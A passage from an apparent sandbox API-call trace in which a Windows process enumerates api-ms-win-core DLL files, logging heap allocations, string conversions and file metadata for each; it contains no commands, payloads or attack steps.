ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.236] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.236] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0227.236] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x18c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0227.236] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.236] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.236] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.236] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.236] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.236] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.236] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.236] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0227.236] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x18c288, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 45 [0227.236] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.236] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.236] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.236] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.236] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.236] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.236] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.236] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0227.236] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x18c120, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 41 [0227.237] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.237] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.237] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.237] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.237] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.237] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0227.237] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.237] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0227.237] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x18c288, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", lpUsedDefaultChar=0x0) returned 41 [0227.237] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.237] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.237] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.237] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.237] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.237] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.237] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.237] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0227.237] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x18c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0227.237] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.237] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.237] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.237] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.237] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.237] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.237] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.237] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0227.237] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x18c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0227.237] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.237] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.237] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.238] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.238] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.238] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1cf673, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1cf673, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.238] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.238] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0227.238] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x18c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0227.238] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.238] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.238] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.238] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.238] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.238] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d241a90, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d241a90, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.238] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.238] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0227.238] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x18c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0227.238] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.238] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.238] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.238] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.238] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.238] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0227.238] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.238] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0227.238] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x18c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0227.238] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.238] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.238] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.238] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.238] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.238] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.239] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.239] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0227.239] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x18c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0227.239] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.239] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.239] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.239] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.239] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.239] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d265d70, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.239] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.239] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0227.239] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x18c120, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0227.239] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.239] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.239] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.239] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.239] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.239] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.239] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.239] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0227.239] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x18c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0227.239] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.239] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.239] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.239] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.239] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.239] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d21b931, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d21b931, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d21a280, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.239] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.239] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0227.240] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x18c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0227.240] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.240] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.240] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.240] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.240] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.240] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d9fe1dc, ftCreationTime.dwHighDateTime=0x1ca040f, 